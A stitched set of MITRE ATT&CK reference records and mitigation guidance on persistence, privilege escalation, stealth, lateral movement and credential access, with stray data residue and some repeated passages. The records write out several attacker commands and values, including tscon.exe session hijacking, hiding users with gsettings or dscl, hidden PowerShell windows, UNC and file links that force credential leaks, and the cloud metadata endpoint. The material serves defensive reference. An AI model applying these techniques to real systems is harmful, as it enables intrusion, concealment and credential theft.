exploitation and prevent abuse of system functionality. Proper OS configurations address security vulnerabilities, limit attack surfaces, and ensure robust defense against a wide range of techniques. This mitigation can be implemented through the following measures:\n- **Privileged Account Management**: Privileged Account Management focuses on implementing policies, controls, and tools to securely manage privileged accounts (e.g., SYSTEM, root, or administrative accounts). […]\n\n## Reference: ATT&CK T1543.001 Launch Agent\n**ATT&CK T1543.001 Launch Agent (full record).** Adversaries may create or modify launch agents to repeatedly execute malicious payloads as part of persistence. When a user logs in, a per-user launchd process is started which loads the parameters for each launch-on-demand user agent from the property list (.plist) file found in `/System/Library/LaunchAgents`, `/Library/LaunchAgents`, and `~/Library/LaunchAgents`. Property list files use the `Label`, `ProgramArguments `, and `RunAtLoad` keys to identify the Launch Agent's name, executable location, and execution time. Launch Agents are often installed to perform updates to programs, launch user specified programs at login, or to conduct other developer tasks.\n\nLaunch Agents can also be executed using the Launchctl command.\n\nAdversaries may install a new Launch Agent that executes at login by placing a.plist file into the appropriate folders with the `RunAtLoad` or `KeepAlive` keys set to `true`. The Launch Agent name may be disguised by using a name from the related operating system or benign software. Launch Agents are created with user level privileges and execute with user level permissions.\n\n**Classification.** - Tactics: persistence, privilege-escalation\n- Platforms: macOS\n- Sub-technique of: T1543 Create or Modify System Process - Adversaries may create or modify system-level processes to repeatedly execute malicious payloads as part of persistence. When operating systems boot up, they can start processes that perform background system functions. On Windows and Linux, these system processes are referred to as services.\n\n**Mitigations.** - **Restrict File and Directory Permissions**: Restricting file and directory permissions involves setting access controls at the file system level to limit which users, groups, or processes can read, write, or execute files. By configuring permissions appropriately, organizations can reduce the attack surface for adversaries seeking to access sensitive data, plant malicious code, or tamper with system files. […]\n\n## Reference: ATT&CK T1543.002 Systemd Service\n**ATT&CK T1543.002 Systemd Service (full record).** Adversaries may create or modify systemd services to repeatedly execute malicious payloads as part of persistence. Systemd is a system and service manager commonly used for managing background daemon processes (also known as services) and other system resources. Systemd is the default initialization (init) system on many Linux distributions replacing legacy init systems, including SysVinit and Upstart, while remaining backwards compatible.\n\nSystemd utilizes unit configuration files with the `.service` file extension to encode information about a service's process. By default, system level unit files are stored in the `/systemd/system` directory of the root owned directories (`/`). User level unit files are stored in the `/systemd/user` directories of the user owned directories (`$HOME`).\n\nInside the `.service` unit files, the following directives are used to execute commands:\n\n* `ExecStart`, `ExecStartPre`, and `ExecStartPost` directives execute when a service is started manually by `systemctl` or on system start if the service is set to automatically start.\n* `ExecReload` directive executes when a service restarts.\n* `ExecStop`, `ExecStopPre`, and `ExecStopPost` directives execute when a service is stopped.\n\nAdversaries have created new service files, altered the commands a `.service` file’s directive executes, and modified the user directive a `.service` file executes as, which could result in privilege escalation. Adversaries may also place symbolic links in these directories, enabling systemd to find these payloads regardless of where they reside on the filesystem.\n\nThe `.service` file’s User directive can be used to run service as a specific user, which could result in privilege escalation based on specific user/group permissions.\n\nSystemd services can be created via systemd generators, which support the dynamic generation of unit files. Systemd generators are small executables that run during boot or configuration reloads to dynamically create or modify systemd unit files by converting non-native configurations into services, symlinks, or drop-ins (i.e., Boot or Logon Initialization Scripts). […]\n\n## Reference: ATT&CK T1543.003 Windows Service\n**ATT&CK T1543.003 Windows Service (full record).** Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions. Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.\n\nAdversaries may install a new service or modify an existing service to execute at startup in order to persist on a system. Service configurations can be set or modified using system utilities (such as sc.exe), by directly modifying the Registry, or by interacting directly with the Windows API.\n\nAdversaries may also use services to install and execute malicious drivers. For example, after dropping a driver file (ex: `.sys`) to disk, the payload can be loaded and registered via Native API functions such as `CreateServiceW` (or manually via functions such as `ZwLoadDriver` and `ZwSetValueKey`), by creating the required service Registry values (i.e. Modify Registry), or by using command-line utilities such as `PnPUtil.exe`. Adversaries may leverage these drivers as Rootkits to hide the presence of malicious activity on a system. Adversaries may also load a signed yet vulnerable driver onto a compromised machine (known as \"Bring Your Own Vulnerable Driver\" (BYOVD)) as part of Exploitation for Privilege Escalation.\n\nServices may be created with administrator privileges but are executed under SYSTEM privileges, so an adversary may also use a service to escalate privileges. Adversaries may also directly start services through Service Execution.\n\nTo make detection analysis more challenging, malicious services may also incorporate Masquerade Task or Service (ex: using a service and/or payload name related to a legitimate OS or benign software component). Adversaries may also create ‘hidden’ services (i.e., Hide Artifacts), for example by using the `sc sdset` command to set service permissions via the Service Descriptor Definition Language (SDDL). This may hide a Windows service from the view of standard service enumeration methods such as `Get-Service`, `sc query`, and `services.exe`. […]"}]}

Regular updates reduce the attack surface and prevent adversaries from exploiting known security gaps. This includes patching operating systems, applications, drivers, and firmware. This mitigation can be implemented through the following measures:\n\nRegular Operating System Updates\n\n- Implementation: Apply the latest Windows security updates monthly using WSUS (Windows Server Update Services) or a similar patch management solution. Configure systems to check for updates automatically and schedule reboots during maintenance windows.\n- Use Case: Prevents exploitation of OS vulnerabilities such as privilege escalation or remote code execution.\n\nApplication Patching\n\n- Implementation: Monitor Apache's update release notes for security patches addressing vulnerabilities. Schedule updates for off-peak hours to avoid downtime while maintaining security compliance.\n- Use Case: Prevents exploitation of web application vulnerabilities, such as those leading to unauthorized access or data breaches.\n\nFirmware Updates\n\n- Implementation: Regularly check the vendor’s website for firmware updates addressing vulnerabilities.

Rather than relying solely on known signatures, this approach leverages heuristics, machine learning, and real-time monitoring to identify anomalous patterns indicative of an attack. This mitigation can be implemented through the following measures:\n\nSuspicious Process Behavior:\n\n- Implementation: Use Endpoint Detection and Response (EDR) tools to monitor and block processes exhibiting unusual behavior, such as privilege escalation attempts.\n- Use Case: An attacker uses a known vulnerability to spawn a privileged process from a user-level application. The endpoint tool detects the abnormal parent-child process relationship and blocks the action.\n\nUnauthorized File Access:\n\n- Implementation: Leverage Data Loss Prevention (DLP) or endpoint tools to block processes attempting to access sensitive files without proper authorization.\n- Use Case: A process tries to read or modify a sensitive file located in a restricted directory, such as /etc/shadow on Linux or the SAM registry hive on Windows. The endpoint tool identifies this anomalous behavior and prevents it.\n\nAbnormal API Calls:\n\n- Implementation: Implement runtime analysis tools to monitor API calls and block those associated with malicious activities.\n- Use Case: A process dynamically injects itself into another process to hijack its execution. The endpoint detects the abnormal use of APIs like `OpenProcess` and `WriteProcessMemory` and terminates the offending process.\n\nExploit Prevention:\n\n- Implementation: Use behavioral exploit prevention tools to detect and block exploits attempting to gain unauthorized access.\n- Use Case: A buffer overflow exploit is launched against a vulnerable application. The endpoint detects the anomalous memory write operation and halts the process.\n\n## Principle\nAgainst T1137.004, prefer preventive controls that remove the preconditions over purely detective controls, and layer the two.\n\n## ATT&CK T1137.004 Outlook Home Page (full record)\nAdversaries may abuse Microsoft Outlook's Home Page feature to obtain persistence on a compromised system.

With sufficient permissions, a compromised account can gain almost unlimited access to data and settings (including the ability to reset the passwords of other admins).\n\nThis account modification may immediately follow Create Account or other malicious account activity. Adversaries may also modify existing Valid Accounts that they have compromised. This could lead to privilege escalation, particularly if the roles added allow for lateral movement to additional accounts.\n\nFor example, in AWS environments, an adversary with appropriate permissions may be able to use the `CreatePolicyVersion` API to define a new version of an IAM policy or the `AttachUserPolicy` API to attach an IAM policy with additional or distinct permissions to a compromised user account.\n\nIn some cases, adversaries may add roles to adversary-controlled accounts outside the victim cloud tenant.

Linux distributions, macOS, and ESXi hypervisors commonly use key-based authentication to secure the authentication process of SSH sessions for remote management. The `authorized_keys` file in SSH specifies the SSH keys that can be used for logging into the user account for which the file is configured. This file is usually found in the user's home directory under `<user-home>/.ssh/authorized_keys` (or, on ESXi, `/etc/ssh/keys-<username>/authorized_keys`). Users may edit the system’s SSH config file to modify the directives `PubkeyAuthentication` and `RSAAuthentication` to the value `yes` to ensure public key and RSA authentication are enabled, as well as modify the directive `PermitRootLogin` to the value `yes` to enable root authentication via SSH. The SSH config file is usually located under `/etc/ssh/sshd_config`.\n\nAdversaries may modify SSH `authorized_keys` files directly with scripts or shell commands to add their own adversary-supplied public keys. In cloud environments, adversaries may be able to modify the SSH authorized_keys file of a particular virtual machine via the command line interface or rest API. For example, by using the Google Cloud CLI’s “add-metadata” command an adversary may add SSH keys to a user account. Similarly, in Azure, an adversary may update the authorized_keys file of a virtual machine via a PATCH request to the API. This ensures that an adversary possessing the corresponding private key may log in as an existing user via SSH. It may also lead to privilege escalation where the virtual machine or instance has distinct permissions from the requesting user.\n\nWhere authorized_keys files are modified via cloud APIs or command line interfaces, an adversary may achieve privilege escalation on the target virtual machine if they add a key to a higher-privileged user.\n\nSSH keys can also be added to accounts on network devices, such as with the `ip ssh pubkey-chain` Network Device CLI command.

An adversary that compromises a user’s credentials may enroll a new device in order to bypass initial MFA requirements and gain persistent access to a network. In some cases, the MFA self-enrollment process may require only a username and password to enroll the account's first device or to enroll a device to an inactive account.\n\nSimilarly, an adversary with existing access to a network may register a device or a virtual machine to Entra ID and/or its device management system, Microsoft Intune, in order to access sensitive data or resources while bypassing conditional access policies.\n\nDevices registered in Entra ID may be able to conduct Internal Spearphishing campaigns via intra-organizational emails, which are less likely to be treated as suspicious by the email client.

When a Windows system attempts to connect to an SMB resource it will automatically attempt to authenticate and send credential information for the current user to the remote system. This behavior is typical in enterprise environments so that users do not need to enter credentials to access network resources.\n\nWeb Distributed Authoring and Versioning (WebDAV) is also typically used by Windows systems as a backup protocol when SMB is blocked or fails. WebDAV is an extension of HTTP and will typically operate over TCP ports 80 and 443.\n\nAdversaries may take advantage of this behavior to gain access to user account hashes through forced SMB/WebDAV authentication. An adversary can send an attachment to a user through spearphishing that contains a resource link to an external server controlled by the adversary (i.e. Template Injection), or place a specially crafted file on navigation path for privileged accounts (e.g..SCF file placed on desktop) or on a publicly accessible share to be accessed by victim(s). When the user's system accesses the untrusted resource, it will attempt authentication and send information, including the user's hashed credentials, over SMB to the adversary-controlled server. With access to the credential hash, an adversary can perform off-line Brute Force cracking to gain access to plaintext credentials.\n\nThere are several different ways this can occur. Some specifics from in-the-wild use include:\n\n* A spearphishing attachment containing a document with a resource that is automatically loaded when the document is opened (i.e. Template Injection). The document can include, for example, a request similar to `file[:]//[remote address]/Normal.dotm` to trigger the SMB request.\n* A modified.LNK or.SCF file with the icon filename pointing to an external reference such as `\\\\[remote address]\\pic.png` that will force the system to load the resource when the icon is rendered to repeatedly gather credentials.\n\nAlternatively, by leveraging the `EfsRpcOpenFileRaw` function, an adversary can send SMB requests to a remote system's MS-EFSRPC interface and force the victim computer to initiate an authentication procedure and share its authentication details. The Encrypting File System Remote Protocol (EFSRPC) is a protocol used in Windows networks for maintenance and management operations on encrypted data that is stored remotely to be accessed over a network. Utilization of `EfsRpcOpenFileRaw` function in EFSRPC is used to open an encrypted object on the server for backup or restore. Adversaries can collect this data and abuse it as part of a NTLM relay attack to gain access to remote systems on the same internal network.\n\n## Reference: ATT&CK T1563.002 RDP Hijacking\n**ATT&CK T1563.002 RDP Hijacking (full record).** Adversaries may hijack a legitimate user’s remote desktop session to move laterally within an environment. Remote desktop is a common feature in operating systems. It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS).\n\nAdversaries may perform RDP session hijacking which involves stealing a legitimate user's remote session. Typically, a user is notified when someone else is trying to steal their session. With System permissions and using Terminal Services Console, `c:\\windows\\system32\\tscon.exe [session number to be stolen]`, an adversary can hijack a session without the need for credentials or prompts to the user. This can be done remotely or locally and with active or disconnected sessions. It can also lead to Remote System Discovery and Privilege Escalation by stealing a Domain Admin or higher privileged account session. All of this can be done by using native Windows commands, but it has also been added as a feature in red teaming tools.\n\n**Classification.** - Tactics: lateral-movement\n- Platforms: Windows\n- Sub-technique of: T1563 Remote Service Session Hijacking - Adversaries may take control of preexisting sessions with remote services to move laterally in an environment.

This can include employing technologies like network concentrators, RDP gateways, and zero-trust network access (ZTNA) models, alongside hardening services and protocols. This mitigation can be implemented through the following measures:\n- **Network Segmentation**: Network segmentation involves dividing a network into smaller, isolated segments to control and limit the flow of traffic between devices, systems, and applications.

Operating systems may have features to hide various artifacts, such as important system files and administrative task execution, to avoid disrupting user work environments and prevent users from changing files or features on the system. Adversaries may abuse these features to hide artifacts such as files, directories, user accounts, or other system activity to evade detection.\n\nAdversaries may also attempt to hide artifacts associated with malicious behavior by creating computing regions that are isolated from common security instrumentation, such as through the use of virtualization technology.\n\n**Classification.** - Tactics: stealth\n- Platforms: ESXi, Linux, macOS, Office Suite, Windows\n\n**Sub-techniques.** - T1564.003 Hidden Window: Adversaries may use hidden windows to conceal malicious activity from the plain sight of users.\n- T1564.011 Ignore Process Interrupts: Adversaries may evade defensive mechanisms by executing commands that hide from process interrupt signals. Many operating systems use signals to deliver messages to control process behavior.\n- T1564.002 Hidden Users: Adversaries may use hidden users to hide the presence of user accounts they create or modify.\n- T1564.012 File/Path Exclusions: Adversaries may attempt to hide their file-based artifacts by writing them to specific folders or file names excluded from antivirus (AV) scanning and other defensive capabilities.\n- T1564.014 Extended Attributes: Adversaries may abuse extended attributes (xattrs) on macOS and Linux to hide their malicious data in order to evade detection.\n- T1564.008 Email Hiding Rules: Adversaries may use email rules to hide inbound emails in a compromised user's mailbox.\n- T1564.009 Resource Forking: Adversaries may abuse resource forks to hide malicious code or executables to evade detection and bypass security applications.\n- T1564.013 Bind Mounts: Adversaries may abuse bind mounts on file structures to hide their activity and artifacts from native utilities. […]\n\n## Reference: ATT&CK T1564.002 Hidden Users\n**ATT&CK T1564.002 Hidden Users (full record).** Adversaries may use hidden users to hide the presence of user accounts they create or modify. Administrators may want to hide users when there are many user accounts on a given system or if they want to hide their administrative or other management accounts from other users.\n\nIn macOS, adversaries can create or modify a user to be hidden through manipulating plist files, folder attributes, and user attributes. To prevent a user from being shown on the login screen and in System Preferences, adversaries can set the userID to be under 500 and set the key value `Hide500Users` to `TRUE` in the `/Library/Preferences/com.apple.loginwindow` plist file. Every user has a userID associated with it. When the `Hide500Users` key value is set to `TRUE`, users with a userID under 500 do not appear on the login screen and in System Preferences. Using the command line, adversaries can use the `dscl` utility to create hidden user accounts by setting the `IsHidden` attribute to `1`. Adversaries can also hide a user’s home folder by changing the `chflags` to hidden.\n\nAdversaries may similarly hide user accounts in Windows. Adversaries can set the `HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList` Registry key value to `0` for a specific user to prevent that user from being listed on the logon screen.\n\nOn Linux systems, adversaries may hide user accounts from the login screen, also referred to as the greeter. The method an adversary may use depends on which Display Manager the distribution is currently using. For example, on an Ubuntu system using the GNOME Display Manger (GDM), accounts may be hidden from the greeter using the `gsettings` command (ex: `sudo -u gdm gsettings set org.gnome.login-screen disable-user-list true`). Display Managers are not anchored to specific distributions and may be changed by a user or adversary. […]\n\n## Reference: ATT&CK T1564.003 Hidden Window\n**ATT&CK T1564.003 Hidden Window (full record).** Adversaries may use hidden windows to conceal malicious activity from the plain sight of users. In some cases, windows that would typically be displayed when an application carries out an operation can be hidden. This may be utilized by system administrators to avoid disrupting user work environments when carrying out administrative tasks.\n\nAdversaries may abuse these functionalities to hide otherwise visible windows from users so as not to alert the user to adversary activity on the system.\n\nOn macOS, the configurations for how applications run are listed in property list (plist) files. One of the tags in these files can be `apple.awt.UIElement`, which allows for Java applications to prevent the application's icon from appearing in the Dock. A common use for this is when applications run in the system tray, but don't also want to show up in the Dock.\n\nSimilarly, on Windows there are a variety of features in scripting languages, such as PowerShell, Jscript, and Visual Basic to make windows hidden. One example of this is `powershell.exe -WindowStyle Hidden`.\n\nThe Windows Registry can also be edited to hide application windows from the current user. For example, by setting the `WindowPosition` subkey in the `HKEY_CURRENT_USER\\Console\\%SystemRoot%_System32_WindowsPowerShell_v1.0_PowerShell.exe` Registry key to a maximum value, PowerShell windows will open off screen and be hidden.\n\nIn addition, Windows supports the `CreateDesktop` API that can create a hidden desktop window with its own corresponding `explorer.exe` process. All applications running on the hidden desktop window, such as a hidden VNC (hVNC) session, will be invisible to other desktops windows.\n\nAdversaries may also leverage cmd.exe as a parent process, and then utilize a LOLBin, such as DeviceCredentialDeployment.exe, to hide windows.\n\n**Classification.** - Tactics: stealth\n- Platforms: Linux, macOS, Windows\n- Sub-technique of: T1564 Hide Artifacts - Adversaries may attempt to hide artifacts associated with their behaviors to evade detection.

Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.\n\nAdversaries may use task scheduling to execute programs at system startup or on a scheduled basis for persistence. These mechanisms can also be abused to run a process under the context of a specified account (such as one with elevated permissions/privileges).

The at utility exists as an executable within Windows, Linux, and macOS for scheduling tasks at a specified time and date. Although deprecated in favor of Scheduled Task's schtasks in Windows environments, using at requires that the Task Scheduler service be running, and the user to be logged on as a member of the local Administrators group. In addition to explicitly running the `at` command, adversaries may also schedule a task with at by directly leveraging the Windows Management Instrumentation `Win32_ScheduledJob` WMI class.\n\nOn Linux and macOS, at may be invoked by the superuser as well as any users added to the `at.allow` file. If the `at.allow` file does not exist, the `at.deny` file is checked. Every username not listed in `at.deny` is allowed to invoke at. If the `at.deny` exists and is empty, global use of at is permitted. If neither file exists (which is often the baseline) only the superuser is allowed to use at.\n\nAdversaries may use at to execute programs at system startup or on a scheduled basis for Persistence. at can also be abused to conduct remote Execution as part of Lateral Movement and/or to run a process under the context of a specified account (such as SYSTEM).\n\nIn Linux environments, adversaries may also abuse at to break out of restricted environments by using a task to spawn an interactive system shell or to run system commands.

There are multiple ways to access the Task Scheduler in Windows. The schtasks utility can be run directly on the command line, or the Task Scheduler can be opened through the GUI within the Administrator Tools section of the Control Panel. In some cases, adversaries have used a.NET wrapper for the Windows Task Scheduler, and alternatively, adversaries have used the Windows netapi32 library and Windows Management Instrumentation (WMI) to create a scheduled task. Adversaries may also utilize the Powershell Cmdlet `Invoke-CimMethod`, which leverages WMI class `PS_ScheduledTask` to create a scheduled task via an XML path.\n\nAn adversary may use Windows Task Scheduler to execute programs at system startup or on a scheduled basis for persistence. The Windows Task Scheduler can also be abused to conduct remote Execution as part of Lateral Movement and/or to run a process under the context of a specified account (such as SYSTEM). Similar to System Binary Proxy Execution, adversaries have also abused the Windows Task Scheduler to potentially mask one-time execution under signed/trusted system processes.\n\nAdversaries may also create \"hidden\" scheduled tasks (i.e. Hide Artifacts) that may not be visible to defender tools and manual queries used to enumerate tasks. Specifically, an adversary may hide a task from `schtasks /query` and the Task Scheduler by deleting the associated Security Descriptor (SD) registry value (where deletion of this value must be completed using SYSTEM permissions). Adversaries may also employ alternate methods to hide tasks, such as altering the metadata (e.g., `Index` value) within associated registry keys.\n\n**Classification.** - Tactics: execution, persistence, privilege-escalation\n- Platforms: Windows\n- Sub-technique of: T1053 Scheduled Task/Job - Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code.

Systemd timers are unit files with file extension `.timer` that control services. Timers can be set to run on a calendar event or after a time span relative to a starting point. They can be used as an alternative to Cron in Linux environments. Systemd timers may be activated remotely via the `systemctl` command line utility, which operates over SSH.\n\nEach `.timer` file must have a corresponding `.service` file with the same name, e.g., `example.timer` and `example.service`. `.service` files are Systemd Service unit files that are managed by the systemd system and service manager. Privileged timers are written to `/etc/systemd/system/` and `/usr/lib/systemd/system` while user level are written to `~/.config/systemd/user/`.\n\nAn adversary may use systemd timers to execute malicious code at system startup or on a scheduled basis for persistence. Timers installed using privileged paths may be used to maintain root level persistence. Adversaries may also install user level timers to achieve user level persistence.\n\n**Classification.** - Tactics: execution, persistence, privilege-escalation\n- Platforms: Linux\n- Sub-technique of: T1053 Scheduled Task/Job - Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code.

Schedule regular scans to ensure timely identification of vulnerabilities introduced by new deployments or updates.\n- Use Case: A scan identifies unpatched software, such as outdated Apache servers, which could be exploited via CVE-XXXX-XXXX. The server is promptly patched, mitigating the risk.\n\nCloud Environment Scanning\n\n- Implementation: Use cloud-specific vulnerability management tools like AWS Inspector, Azure Security Center, or GCP Security Command Center to identify issues like open S3 buckets or overly permissive IAM roles.\n- Use Case: The scan detects a misconfigured S3 bucket with public read access, which is remediated to prevent potential data leakage.\n\nNetwork Device Scanning\n\n- Implementation: Use tools to scan network devices for vulnerabilities, such as weak SNMP strings or outdated firmware. Correlate scan results with vendor advisories to prioritize updates.\n- Use Case: Scanning detects a router running outdated firmware vulnerable to CVE-XXXX-YYYY. The firmware is updated to a secure version.\n\nWeb Application Scanning\n\n- Implementation: Use dynamic application security testing (DAST) tools such as OWASP ZAP or Burp Suite to scan for common vulnerabilities like SQL injection or cross-site scripting (XSS). Perform regular scans post-deployment to identify newly introduced vulnerabilities.\n- Use Case: A scan identifies a cross-site scripting vulnerability in a form input field, which is promptly remediated by developers.\n\nPrioritizing Vulnerabilities\n\n- Implementation: Use vulnerability scoring frameworks like CVSS to assess severity.\nIntegrate vulnerability scanning tools with ticketing systems to assign remediation tasks based on criticality.\n- Use Case: A critical vulnerability with a CVSS score of 9.8 affecting remote access servers is prioritized and patched first.\n\n*Tools for Implementation*\n\nOpen Source Tools:\n\n- OpenVAS: Comprehensive network and system vulnerability scanning.\n- OWASP ZAP: Dynamic scanning of web applications for vulnerabilities.\n- Nmap with NSE Scripts: Network scanning with scripts to detect vulnerabilities.\n\n## Principle\nAgainst T1195.002, prefer preventive controls that remove the preconditions over purely detective controls, and layer the two.\n\n## Reference: ATT&CK T1205.002 Socket Filters\n**ATT&CK T1205.002 Socket Filters (full record).** Adversaries may attach filters to a network socket to monitor then activate backdoors used for persistence or command and control. With elevated permissions, adversaries can use features such as the `libpcap` library to open sockets and install filters to allow or disallow certain types of data to come through the socket. The filter may apply to all traffic passing through the specified network interface (or every interface if not specified). When the network interface receives a packet matching the filter criteria, additional actions can be triggered on the host, such as activation of a reverse shell.\n\nTo establish a connection, an adversary sends a crafted packet to the targeted host that matches the installed filter criteria. Adversaries have used these socket filters to trigger the installation of implants, conduct ping backs, and to invoke command shells. Communication with these socket filters may also be used in conjunction with Protocol Tunneling.\n\nFilters can be installed on any Unix-like platform with `libpcap` installed or on Windows hosts using `Winpcap`. Adversaries may use either `libpcap` with `pcap_setfilter` or the standard library function `setsockopt` with `SO_ATTACH_FILTER` options. Since the socket connection is not active until the packet is received, this behavior may be difficult to detect due to the lack of activity on a host, low CPU overhead, and limited visibility into raw socket usage.\n\n**Classification.** - Tactics: stealth, persistence, command-and-control\n- Platforms: Linux, macOS, Windows\n- Sub-technique of: T1205 Traffic Signaling - Adversaries may use traffic signaling to hide open ports or other malicious functionality used for persistence or command and control.\n\n**Mitigations.** - **Filter Network Traffic**: Employ network appliances and endpoint software to filter ingress, egress, and lateral network traffic.

Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. A common goal for post-compromise exploitation of remote services is for lateral movement to enable access to a remote system.\n\nAn adversary may need to determine if the remote system is in a vulnerable state, which may be done through Network Service Discovery or other Discovery methods looking for common, vulnerable software that may be deployed in the network, the lack of certain patches that may indicate vulnerabilities, or security software that may be used to detect or contain remote exploitation. Servers are likely a high value target for lateral movement exploitation, but endpoint systems may also be at risk if they provide an advantage or access to additional resources.\n\nThere are several well-known vulnerabilities that exist in common services such as SMB and RDP as well as applications that may be used within internal networks such as MySQL and web server services. Additionally, there have been a number of vulnerabilities in VMware vCenter installations, which may enable threat actors to move laterally from the compromised vCenter server to virtual machines or even to ESXi hypervisors.\n\nDepending on the permissions level of the vulnerable remote service an adversary may achieve Exploitation for Privilege Escalation as a result of lateral movement exploitation as well.\n\n**Classification.** - Tactics: lateral-movement\n- Platforms: Linux, Windows, macOS, ESXi\n\n**Mitigations.** - **Disable or Remove Feature or Program**: Disable or remove unnecessary and potentially vulnerable software, features, or services to reduce the attack surface and prevent abuse by adversaries.

Exploitation occurs when an adversary leverages a programming flaw to execute code in a manner that minimizes visibility or blends in with legitimate activity.\n\nRather than directly disabling defenses, adversaries may use exploitation to circumvent monitoring and logging mechanisms. This can include abusing vulnerabilities in logging pipelines, security tools, or cloud infrastructure to evade audit trails, suppress alerts, or operate without generating telemetry.\n\nAdversaries may identify these opportunities through prior reconnaissance or by performing discovery of security controls after initial access. In some cases, vulnerabilities in SaaS or public cloud environments may be exploited to evade logging, obscure activity, or deploy infrastructure that remains hidden from standard monitoring tools.\n\n**Classification.** - Tactics: stealth\n- Platforms: Linux, Windows, macOS, SaaS, IaaS\n\n**Mitigations.** - **Exploit Protection**: Deploy capabilities that detect, block, and mitigate conditions indicative of software exploits.

A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.\n\nAdversaries may use task scheduling to execute programs at system startup or on a scheduled basis for persistence. These mechanisms can also be abused to run a process under the context of a specified account (such as one with elevated permissions/privileges). Similar to System Binary Proxy Execution, adversaries have also abused task scheduling to potentially mask one-time execution under a trusted system process.\n\n**Classification.** - Tactics: execution, persistence, privilege-escalation\n- Platforms: Containers, ESXi, Linux, macOS, Network Devices, Windows\n\n**Sub-techniques.** - T1053.003 Cron: Adversaries may abuse the `cron` utility to perform task scheduling for initial or recurring execution of malicious code.\n- T1053.005 Scheduled Task: Adversaries may abuse the Windows Task Scheduler to perform task scheduling for initial or recurring execution of malicious code.

The at utility exists as an executable within Windows, Linux, and macOS for scheduling tasks at a specified time and date. Although deprecated in favor of Scheduled Task's schtasks in Windows environments, using at requires that the Task Scheduler service be running, and the user to be logged on as a member of the local Administrators group. In addition to explicitly running the `at` command, adversaries may also schedule a task with at by directly leveraging the Windows Management Instrumentation `Win32_ScheduledJob` WMI class.\n\nOn Linux and macOS, at may be invoked by the superuser as well as any users added to the `at.allow` file. If the `at.allow` file does not exist, the `at.deny` file is checked. Every username not listed in `at.deny` is allowed to invoke at. If the `at.deny` exists and is empty, global use of at is permitted. If neither file exists (which is often the baseline) only the superuser is allowed to use at.\n\nAdversaries may use at to execute programs at system startup or on a scheduled basis for Persistence. at can also be abused to conduct remote Execution as part of Lateral Movement and/or to run a process under the context of a specified account (such as SYSTEM).\n\nIn Linux environments, adversaries may also abuse at to break out of restricted environments by using a task to spawn an interactive system shell or to run system commands. Similarly, at may also be used for Privilege Escalation if the binary is allowed to run as superuser via `sudo`.\n\n**Classification.** - Tactics: execution, persistence, privilege-escalation\n- Platforms: Windows, Linux, macOS\n- Sub-technique of: T1053 Scheduled Task/Job - Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code.

There are multiple ways to access the Task Scheduler in Windows. The schtasks utility can be run directly on the command line, or the Task Scheduler can be opened through the GUI within the Administrator Tools section of the Control Panel. In some cases, adversaries have used a.NET wrapper for the Windows Task Scheduler, and alternatively, adversaries have used the Windows netapi32 library and Windows Management Instrumentation (WMI) to create a scheduled task. Adversaries may also utilize the Powershell Cmdlet `Invoke-CimMethod`, which leverages WMI class `PS_ScheduledTask` to create a scheduled task via an XML path.\n\nAn adversary may use Windows Task Scheduler to execute programs at system startup or on a scheduled basis for persistence. The Windows Task Scheduler can also be abused to conduct remote Execution as part of Lateral Movement and/or to run a process under the context of a specified account (such as SYSTEM). Similar to System Binary Proxy Execution, adversaries have also abused the Windows Task Scheduler to potentially mask one-time execution under signed/trusted system processes.\n\nAdversaries may also create \"hidden\" scheduled tasks (i.e. Hide Artifacts) that may not be visible to defender tools and manual queries used to enumerate tasks. Specifically, an adversary may hide a task from `schtasks /query` and the Task Scheduler by deleting the associated Security Descriptor (SD) registry value (where deletion of this value must be completed using SYSTEM permissions). Adversaries may also employ alternate methods to hide tasks, such as altering the metadata (e.g., `Index` value) within associated registry keys.\n\n**Classification.** - Tactics: execution, persistence, privilege-escalation\n- Platforms: Windows\n- Sub-technique of: T1053 Scheduled Task/Job - Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code.

Once a user logs out, the history is flushed to the user's history file. For each user, this file resides at the same location: for example, `~/.bash_history` or `~/.zsh_history`. Typically, these files keeps track of the user's last 1000 commands.\n\nOn Windows, PowerShell has both a command history that is wiped after the session ends, and one that contains commands used in all sessions and is persistent. The default location for persistent history can be found in `%userprofile%\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell\\PSReadline\\ConsoleHost_history.txt`, but command history can also be accessed with `Get-History`. Command Prompt (CMD) on Windows does not have persistent history.\n\nUsers often type usernames and passwords on the command-line as parameters to programs, which then get saved to this file when they log out.

Available information generally includes name, security group, and additional metadata including sensitive data such as credentials and UserData scripts that may contain additional secrets. The Instance Metadata API is provided as a convenience to assist in managing applications and is accessible by anyone who can access the instance. A cloud metadata API has been used in at least one high profile compromise.\n\nIf adversaries have a presence on the running virtual instance, they may query the Instance Metadata API directly to identify credentials that grant access to additional resources. Additionally, adversaries may exploit a Server-Side Request Forgery (SSRF) vulnerability in a public facing web proxy that allows them to gain access to the sensitive information via a request to the Instance Metadata API.\n\nThe de facto standard across cloud service providers is to host the Instance Metadata API at `http[:]//169.254.169.254`.\n\n**Classification.** - Tactics: credential-access\n- Platforms: IaaS\n- Sub-technique of: T1552 Unsecured Credentials - Adversaries may search compromised systems to find and obtain insecurely stored credentials.

